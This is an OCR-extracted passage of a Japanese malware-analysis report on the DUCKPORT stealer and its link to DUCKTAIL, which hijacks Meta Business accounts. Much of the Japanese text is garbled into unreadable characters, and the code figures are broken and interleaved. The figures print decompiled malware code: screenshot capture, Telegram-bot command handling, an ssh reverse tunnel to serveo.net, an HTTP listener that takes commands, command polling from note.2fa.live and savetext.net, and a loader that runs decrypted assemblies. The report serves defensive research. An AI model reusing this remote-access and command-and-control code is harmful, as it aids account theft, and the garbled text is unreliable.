Figure 28: DUCKPORTAMER L 7cfatr 7 b D4l



RIVITTHEBEDEE

WithSecure Intelligenceld. DUCKPORT®DY—X J— R {ZDUCKTAIL
ZNR—=RILTWBEHERILTWVWE T, L7cA 5T DUCKTAILIZE SN
DHEEEIL RN D—T 1T AXIVHERB EIFWL R DUCK-
PORTICHEFEL & T,

LAHL. DUCKPORTIZDUCKTAILICIZ 72 W Z < DItk Z B0 L «
F7cDUCKTAILICTFE I 2 A7 HEED— P2 EL S ETVLE T AR
DY T3> TlE. CNSDOELEERDWV OO ZRBNLE
Jo

RILTTT7 DY —=RDA—RIFBISREINTH D BICHEBEDIEN. HI
R BLEE. AN TVWB ZEIEFRICELE S, LIch' > T LT
Tt 023> TEHATBHED—EBIE. T TILCK->TUIFELE
D, BEINID. HIFRESNIED TBRIEED DD F T

BTG EEETIDILK
— 15k

MEIDN—2 3> DDUCKPORTIE 2—47 Y FDY DB TD &
STREMEHRE &AL ELIC:

- A—H—%

- OS (ARL =T 42V TRATL)%A
- OSON—=U 32 EILRES

- CPU%

- GPU%

- RAMH X

- N\—F2x77UUID

NBIERDI SRV T FTBHEICED WMl Z B TEIFEN
=2l

- Win32_OperatingSystem

- Win32_Processor

- Win32_VideoController

- Win32_ComputerSystemProduct

AIAEERTIE RBRICFEASNICERHFOT U TILIECDIEHRZ
BISLABLABDRLIED 70—ILRIFO—FRADTL —RKRILA—E L
T?%O—Cb\ia—o

FDUCK1 &MEINB2DDHEIIL—T 27

v r—rayeil—t%-—-1r—>x 2k

DUCKTAILZ [A#k. DUCKPORTIZ = wbhD>AO7—>3>
BRIV TZAXYVT SOOI —I—Jx Vb ZRIGT5
OIS AYFLRE—RTRLI VT ZE#HLE T, LHL. CD
RV 7IFAENKRBRLIESGEICHOU T T b o240
T—oaVBRETTVFIB74—ILINYIRXAAZZILEEDIC,
CNZZEMRTBIEDICWKODDERDZ VT T b= ERLET

- getip[.]Jpro
ROICFTV IV b - —I—Tzbeo740
T—2aVIBmROMAZEIET 5. IWEDDUCKTAILTHEDN
TWa,

- api.myipl.]
20BDFIVIRRITIT UMb, DAOT—2 3V EHRZEIF
9%, BEICDUCKTAILAMER,

- ipinfol.]io
RRICFTYILIcVI 7Y b DOAOT—2 3V BHRZBIET
Bo



WVV/ Intel

PATAP RN -t

DUCKPORTIZDUCKTAILLEL T 202 V15 EEEEEZ 2 AT
EDHR—LEINTVBRTZTVFDUZBHRELCTY, LH L. DUCK-
PORTICL > THEAEEINBIBEHRD VA MIFTLALTVE T,

CDVINTTTIE =T v bDT OIS UTOLSHO51
T—AZINELET :

- A—H—%
- NRAT—F
- 72>3a>YURL

IV 732 — Ty b EREEZKEL X7 -
- URL

- R—=TI XA KL
- B e e B fE

CDORILTTTOUBBIDN—2 3> Tl 2=y b4 o> O—R
EREHIFERLTWELT::

IRED/INA

MIMEZ -1~
ST

2 JURL
2TD')77Z—URL
- BNE

AR IAREE REICRASNTVBRFDOT > TILIF. X—T vk
DATVAO—RFERZEIFLB<ZE271cCLE T,

Meta Business7h > FESED #BED LR

DUCKPORTI(3Facebook¥ Meta Business77h7> kDI -SEID O
R—%> MBS EY BLELHEREEZEELTLE Y, DUCKPORTD I
TVHEBEDZ < IFDUCKTAILEEE L TWLWETH REFEIFASKE
o TWEY, Il DUCKPORTICIZDUCKTAILICIEZR L IE DR RE
DBHD. EDHFHEIFADTT,

WOD DREHF CTEMEEENRSNEKLI!

NERILSDERERFEICEAZES 28I NIcT I3

FDUCK1 &MENB2DDHESIL—T 28

- BELEF—TU—RZEULEERZBEEIC R,

- BRIT7UZ2—H'C2 (Telegram) ZNMLTHEBEDIIUIREL
CBERICE DV AERLEF v R—>ZBHFMICIERL. &
9%, CNUSWLWK DD DT T RTy T =R TRIEINS !

o IWEBDILET NI DB ZINTAIITT B,

o BILNEFvR—UICEHETDIERCEFA—ITS—hZzATIC
93

o BRIV A—DIERELI-ARI TV I T+ IR G F v R—%Z1E
9 %o

o X IR=UNITIVTATRILEEY M ZER L. T74/L D1t
Bk (BRI 2—DIEELIHGEZR<) T 71— RBELUFace-
book!)—/LZHATEMEINBILEZEL T, KEIRDFacebook
H & UAudience Network 11—t —%2—4"w MM %,

o BRI T VA—DMEELIIBRZELCLEVVIAT17 (RBRDIL
FEA>TY) ZRBT B,

o BRIV A—DBERDHNII. [LEY DT —FIAE—%Z=E
179 %o

o XY IR—UIIEHE[MTENTVNBIR—ISADEEBEDIBFEE
BAICRITANE T,

o [NEFYIR—VIGHRZETelegramiBHTER 77 F—ITXEDIR
EP

- EDft. BEREDPR—I LERIEEICEATIHEMELINT X
o



WVV/ Intel

EHFREOIWMD CFFEF R DALAK

- A=y bDT NI ERZERAL UG BRI X —DEFXA—
WP RLRZHBEIT+ 20— ZHFOEEBE LTGENMTER
hofcima. IFEEBLLUGEML ¥4, IFEEZEO-ILICIFUAT
NaiEFnixd:femployees . Tfinance_editory . Tfi-
nance_edity . Mfinance_view] . Tdeveloper). 'default,,

- IFEEEBELLTCEMEINIBR TV X —DX—IL7 FLXIZ AR
DHERZZCEMIER (O—IL) ZEMLES: RE7HATVUE
DEE]. [FvoR—2DEE] [NT+—X > ADIKRT]. [Cre-
ative HubQE®w o 7 v 7DERE], EF¥a!) T E08EEEHR

- BRRBIVRRAV D STy FEINBTIERS—=T>DUR
D TG

- B THEATBHD2FAI—ROER BT (2FAD/NT/NR),

CNSDEBED WV DDE Metalc KBAZEERRILICED. Bl
BN THWVWEHEEEDH B CIFFEICELET, LML, 2DV
T 7ICIE. ERS CINSDKEEEICEETZIA—RAEENT
kJ\EEl,Jt:o

A—TYEDI DDA =23y DIER

DUCKPORTO#HEAN—a >y RETNTULS#EEE LT,
ScaleHQ.DotScreenZ 1 7S z{E>c RV ) —>F v T F v DR
=ZhHD XY,

rectangle = (
(Screen screen Screen.AllScreens)
bounds = screen.Bounds;
num = bounds.X + bounds.
num2 = bounds.Y + bounds.

(num > rectangle. )
rectangle. =

(num2 > rectangle. )
= num2;

rectangle.

¥

Bitmap bitmap = Bitmap(rectangle. , rectangle.

omImage(bitmap).CopyFromScreen(®, @, 8, 0, rectangle. );

Graphics.Fr
text = .Combine( .GetTempPath(), "tmp_cap " +
bitmap.Save(text, ImageFormat. =

text2 = text;

(EHCEptiGH EK}
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text = message.Text;
= text;
[] array = text.Split(
(array. >= 4)

text2
text3

array[e];
array[1];
text4 = array[2];
text5 = array[3];
.Equals("RES", text2) && .Equals(text3, : 1)

.info("Tel onUpdate sdcmsg for cmd {8}: {1}", text4, text5);
date = message.Date;
(message.Date.ToLocalTime().CompareTo( : .TolLocalTime()) < @)

.info("process outdate sdcmsg”);
{ .Equals("HELLO", text4))

.ProcessHelloResponse(text5);

ScreenResponse(texts);

.Equals("SCREEN", text4))

cessScreenResponse(texts);
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response)

cap = IBInstanceTelResultHandler.GetInstance().
(!stringUtils.isEmpty(cap))

(FileStream fileStream =
.SendDocument (fileStream,
( text
(FileStream fileStream2 -

.SendDocument (fileStream?,

h 5
¥

BInstanceTelResultHandler.GetInstance().GetAdditionalCap().Clear();

(Exception ex)

.error{ex.Tostring());
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public void method_5()

1
new Thread((ThreadStart)delegate
1
Process process = Process.Start(new ProcessStartInfo
{
FileName = "ssh.exe",

UseS5hellExecute = false,
RedirectStandardOutput = true,

CreateNoWindow = true,
Arguments = "-R 88:127.8.8.1:9669 serveo.net”

IoF

process.Start();

while (!process.StandardOutput.End0OfStream)

{
string text = process.StandardOutput.Readline();
interface5 6.imethod_5("Serveo line: " + text);

if (Class3@.smethod_6(text) && text.Contains("Forwarding HTTP traffic"))

{
string text2 = Class30.smethod_@(text, "https://(.*?).serveo.net™);
string 2 = "https://" + text2 + ".serveo.net”;
interface5 6.imethod_5("found serveolUrl: " + string 2);

¥

¥
1).Start();

I
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2':*%#;[,% H%,r.b\_\—t\-\ ‘i\ H TT P U Zj_ - ‘i%%ﬁ EI\J @jﬁ% ‘: 2: 2:“ i O—C EFS HttpListenerContext result = awaiter2.GetResult();

sprivate void method _2()

—1. Call method to capture and store screenshot

N y @class.method_2(); {
D\ 2 @%ﬁgb‘;%éh—t L\g':'_g' . HttpListenerRequest request = result.Request; try
httplistenerResponse # = result.Response; {
Console.WriteLine("Request #: {8}", ++iclass.int 1); Rectangle rectangle = default{Rectangle);
Console.WritelLine(request.Url.ToString()}; foreach (S5creen allScreen in Screen.AllScreens)
Eonsnle.hlr.i.tEL.i.ne{request .HttpMethod); {
/\ —_ ~ N — » N, Conscle.WritelLine(request.UserHostName); Rectangle bounds = allScreen.Bounds;
= .[_\ Fﬂ% U RL‘L_ 77_& Z-a_é t\ VV/GD 7 /r 7 17 IJ / ‘/ 3 “/ I\ % Console.WritelLine(request.UserAgent); int num = bounds.X + bounds.Width;
H Console.WriteLine(); int num2 = bounds.Y + bounds.Height;
=] string text = ""; if (num > rectangle.Width)
$—\7j-9:—\7 L/T *ZEL ‘3_50 if (request.HttpMethod == "POST") {
= . — \ A — S = { rectangle.Width = num;
SELEEPOSTU I RO TV RTaZ2OJIC58ERT 5o Stream inputStream = request.InputStream; }
Encoeding contentEncoding = request.ContentEncoding; if (num2 > rectangle.Height)
) [—= 3 - = =] X = -3 ==X StreamReader streamReader = new StreamReader(inputStream, contentEncoding); {
I:|7 ‘L.. naﬁzik_ h (& |E$E‘1E§%E/\J‘L—C2LL—&1E (& h50 text = streamReader.ReadToEnd(); rectangle.Height = num2;
E T_ e 7 % ‘\L o &E% *%Ab%ﬁ *&-—'—-% Conscle.WriteLine("requestBody: " + text); }
o NG RN = T — = @class.method 1(text);
E ia)l:l ~ / ‘b O ‘j-‘j:\ =+ ‘j:k_a) RE O—t = inputStream.Close(); int width = ((rectangle.Width < 1928) ? 1920 : rectangle.Width);
RS = N w oz, N N N — streamReader.Close(); int height = ((rectangle.Height < 18808) ? 1888 : rectangle.Height};
GJVV/J:—C:I?/ l\ 75-:2”' /}g L/\ migj—éﬂ Hb’l‘ﬂzh\%é t%}{ i Bitmap bitmap = new Bitmap(width, height, PixelFormat.Format32bppArgb);
byte[] bytes = Enceding.UTF8.GetBytes(string.Format(@class.string_3, @clas.s.string_l}];’\-\\_x Graphics.FromImage(bitmap).CopyFromScreen(@, @, 8, @, rectangle.Size);
Bhé httplistenerResponse_@.ContentType = “text/html"; S string text = Path.Combine({Path.GetTempPath(), “tmp_cap.jpg");
° httplistenerResponse_@.ContentEncoding = Encoding.UTF8; 2. Store base64-formatted screenshot instring  bitmap.Save(text, ImageFormat.Jlpeg);
httplistenerResponse_0.ContentLength64 = bytes.lLonglLength; R string text2 = method 3(text);
¢ awaiter = hitplistenerResponse_ @.0utputStream.WriteAsync(bytes), @, bytes.Length).GetAwaiter(); T string_ 1 = text2;
e ok 4., Serve HTML page }
= R \ b ™ —_ =] = \ with screenshot as response 3. Generate HTML page to serve as response :
K*ﬁ%%ﬂ%hﬂ“j{)*vfﬁ&@%z‘z—c ‘j:\ L@*’%Hb‘iﬂiﬁgm‘k— (Eﬁ%b\ with screenshot in body ‘{:EtCh {Exceptmn ex}

BRI 72 EHRBRIROEE B THAEL . RAT(JE—K g e
THEAD RO OAE) LA EER T ST EMN BB LEZT

public string string_3 = "<!DOCTYPE»<html> <head:» <title>Manager</S/title> </head> <body> <divr><div><form method=

L\ij— \post\" action=\"\"» <divr><textarea name=\"content\"></textareax</div> <divr<input type=\"submit\" wvalue=%"Add
o N3 fdivy </forma</divi<divi<img style=\"max-width: 186%\" src=\"data:image/png;basess, {0}\"/></divi</div> </boady></
html>";
| Logcontent body private void method_1(string string_4)
of incoming PO 5T requests {
tiry
{
if (Class3e.smethod S5(string 4))
{
interface5 0.imethod S5("ProcessBody empty");
return;
¥

string text = WebUtility.UrlDecode(string 4.Trim().Split("="}[1]);
interface5 @.imethod S("cmd: ™ + text);

¥
catch (Exception ex)
{
interface5 8.imethod 2(ex.ToString());
¥

}

Figure 33: HTTP ) X 7 —#¥8e DI E
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DUCKPORT CTEEIENITcmFHTDEEDIDIEF. A F1>/—h
HEY—EXRZFALTX—T YOI VICORVEZET L
TYo COMEEITABRIC. VIV 7ICL>TUESINZOT R
ZEDRTI-DIC. BRI X —h TelegramzERB T3 LI
BT H3HDTY,

AEHAEFATERAINTVLWB AV S1MY/ — BT —EXIZ
LUFD&ED:

- note.2fal.]live - VIl T7ICL>TFzvoIINTZ1T)
1k,

- savetext[.]net - WILTTTICE->TFzvIINBZ AR
Ak (oAU TAEDRBLIZSGE),

BRI Z—IE. =T v rDGUID (RILT T 7IC&E>TERKIN.
TelegramiEHTERMT7 I X—ICEINDB) ZFE>T. 22001k
DOIEDIDICEBD/ —hZIEHLE T TDR.IILT T T HH
EEDOYI Y TUIETZHOOTUR (1971C1D) ZEML £,
ZTDR NN TT7IFZ—T vy rDOGUIDZFERLT/—cEEYT
THAMIIIT)ZHTL. BESNBRZLIEL FT,

J/—=hDETICIE BTN 3 IV RAGENTVE Y, IR
MIEIE. TelegramiBAHTEXEINBZ A RERALAETHEIEL
F 9o BITICIE ' EYIDXF TRHEISNI2DDEDE FN. &4
DEIFOV > R4 2BBOEIFNIESNh ST —2T7 07 T,

AFEHMERSTYHR—FINTVWSIOTVRIE."CAMP "¢ "RT "
T.CBE58ELCHIMEEZEITLEI. 2FD. OV VR TEINT:
T—42707 (TMeta Business/\1> v v o#&eEDILR] 2
>a>TeBALELE) ZFEALT LEFvyoR—2DIERE R
DUVITINZAIBLET,

private void method_5()

—{
try
1
string text = "https://note.2fa.live/note/" + string 2,
interface5 8.imethod_5("check note: " + text);
string text?2 = interfaced @.imethod_@(text);
interface5 8.imethod_5("check note response: " + textl);
Class68 @class = JsonConvert.DeserializeObject<Class68>(text?);
if (@class != null &8& !Classl7.smethod_5(@class.R))
{
string[] array = @class.R.Split("\n");
foreach (string string_ in array)
i
method_16(string );
I
¥
else
{
interface5 @.imethod_5("note empty™);
L
I
catch (Exception ex)
1
interface5 8.imethod_2(ex.ToString());
method_6();
I
I

FDUCK1 &EMEINB2DDHEJIL—T

Figure34:XILo 73724V A cZ2FT v o L.
BOh >R i7= 18
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FDUCK1 &EMENB2DDHESIL—T

private void method_6()
=L

try

1
string text = "https://savetext.net/" + string 2;
interface5 @.imethod_5("check notel: " + text);
string text2 = interfaced @.imethod_@(text);
interface5 @.imethod 5("check note2 response: " + text2);
string text3 = Classl7.smethod_@(text2, "id=\"content\">»(.*?)</textarea>”);
interface5 @.imethod 5("rContent note2: " + text3);
string[] array = text3.Split("\n");
foreach (string string_ in array)
1

method_16(string );

I

¥

catch (Exception ex)

1
interface5 8.imethod_2(ex.ToString());

¥

¥

Figure35: 754X VT A bR LIZBE. Yoz 7 deh>HZ U1 bzFo v oL,
RO - 1=&i7%= 018

private void method_l16(string string 3)
—1{

try

i
method_©();
string[] array = string 3.Split(new char[1] { '| " }, 2);
if (array.length < 2)
1

I
string b = array[@];
string text = array[1];

return,

interface5 @.imethod_7("Note process for cmd {@}: {1}", b, text);

if (!string.Equals(“HELLO", b))

1
if (string.Equals("CAMP", b))

1
¥
else if (string.Equals(”RT", b))
1

¥

method_19(text);

method_18(text);

¥
¥

catch (Exception ex)

1
¥

interface5 @.imethod_2(ex.ToString());

¥

Figure36: /— hTROD 2B IN VRS VZMMIETZI-RFXZRY b
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HREINTED. TN BRET7IFZ—DERRISEMODI—RE
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BElFY—XD—RICEE/N—FO—F3IN. VIZES{EINTRT YDAV TARTA—F—LEARDHFET FZI—DRFaxXrk/

DUCKPORTIZ2023%FE5821H. DUCKTAILA I THRZLO— O—KRICME N3,
A—ZEBLTWBDOZERLTHBINARIC. ARZLO—4— . X4 ~RAO—RDES1L:

X7 770 ZzROyv T LTERN T 5, X—T71ILIE. 7>
AESTREEE I N=~1rO—KRIZ. T —RICEEBEINZD. V—RO—RICEEEDHAFTN S,

DHRREETFI—INANDHEAFAHFZRIBLE LTz O—4—I3 X O0—4A4—DUY—ZUZSENTVBH VY —X O— RICEEEHIA
feo NET CoredB—J77)LLLTAVAILIN BHEINEL  FhTw3, O—F—DORFROLIDICIE. BB IhferrO— BRLALTIE DUCKPORT TR MERINTL 30— 45—,

fco cNHOAO—RF—DEMNIF. REHBRIO—RZHFEFL. RoDEINf-toISavRSENTED E2ogiicEW . DUCKTAILTHESE MERIhTLWSO—4—|CBELLTVWEY, LH
O—FL. ETEICEINICEITI B CE TREARICTE LT, EREIN TS, L.EE.O—FT1>0770—F. BSLUVHERTDa—ILIFE

O—4A—I3RVE. EBZEZEDRLTETX LT LML —F
TEZIE. O—4—IFW<OD DED THERINTULET:

void Start()

- OF
bool flag = :
mutex = new ( , AXAUASDYU™, flag);

bool flag?2 = !flag;
if (!flag2)
d

try

1

proxyType = new ( . ( . {CoreConst.CORE}));
proxyTypelnstance = proxyType. {"OPTIMIZE_ CORE.EntryPoint.AssemblyEntryProgram™, new object[@]);
proxyTypeInstance. {"Run”), new object[] { BundleMain.ENV });

ex)

Console. (ex.
Console. ();

Finally

mutex.

Figure38: O—4—DXEOAZC v I DB (V1) —>7 v TEH)

iJZ‘ZJ'Zf\/\Eif'Erb

OpenFile()

file = AppConst. 2
[1 array = file.Split( [1{ '\n" });
text = .TextReverse(array[1].Trim());
text2 = - ().ToString();
[1 array2 = - ( .SecureRead(array[2].Trim()));
text3 = . ( . (), text2 + "." + text);

flag = | . (text3);

(text3, array2);

ProcessStartInfo(text3)

Figure39: 1> 74 X714 — 5 —LAKDAFETHI—TJ 7ML z2EEHITH5O0—F— D
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MASTERPRFB SDCBundle PADocReadTool PReadToolManager
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DUCKTAILZ [E#kic. DUCKPORTHC2F vxJL& LTTelegram
ICHEL .« Telegram.BotZ 7S UZFBLTWE Y, LHL. C
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IR T B WEBEIINETIL—LT—0D)TL U3
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RINFEL7. DUCKTAILEDUCKPORTD#2:BE 1 IC[EH5R D #
REXRELTVWAD. 7 FO—FHERDCISEBICELE T,

PusherManager()

= ProxyType(SpeakUtils.Read(PusherManager.PUSH CORE));

= CryptAlgoUtils.DecryptlLocal( : ):
CryptAlgoUtils.DecryptLocal( . ¥i
.NewInstance(SpeakUtils.Read(PusherManager.CHAT ID TYPE NAME),

ProxyType proxyType =

text = SpeakUtils.Read(PusherManager.TEL_BOT _CLIENT TYPE_NAME);

[] array - [31;
array[@] = g
array[1] = HttpClient( HttpClientHandler());
= proxyType.NewInstance(text, array);
.GetGuid();

b64)

= Assembly. Load( .FromBasesdstring(b6d));

typeName)

.GetType(typeName) ;

ProxyTypeInstance NewInstance( typeName, [Nullable(

ProxyTypeInstance( ., typeName, parameters);

ProxyTypeInstance FromInstance( instance, typeName )

ProxyTypeInstance(instance, » typeName);

[1 parameters)

Figure 42: Telegram.Bot> 1 7 Z UABMICO—RINATWAR L ZRdI—RAZRY &

FDUCK) &MEINB2DDHESIL—T
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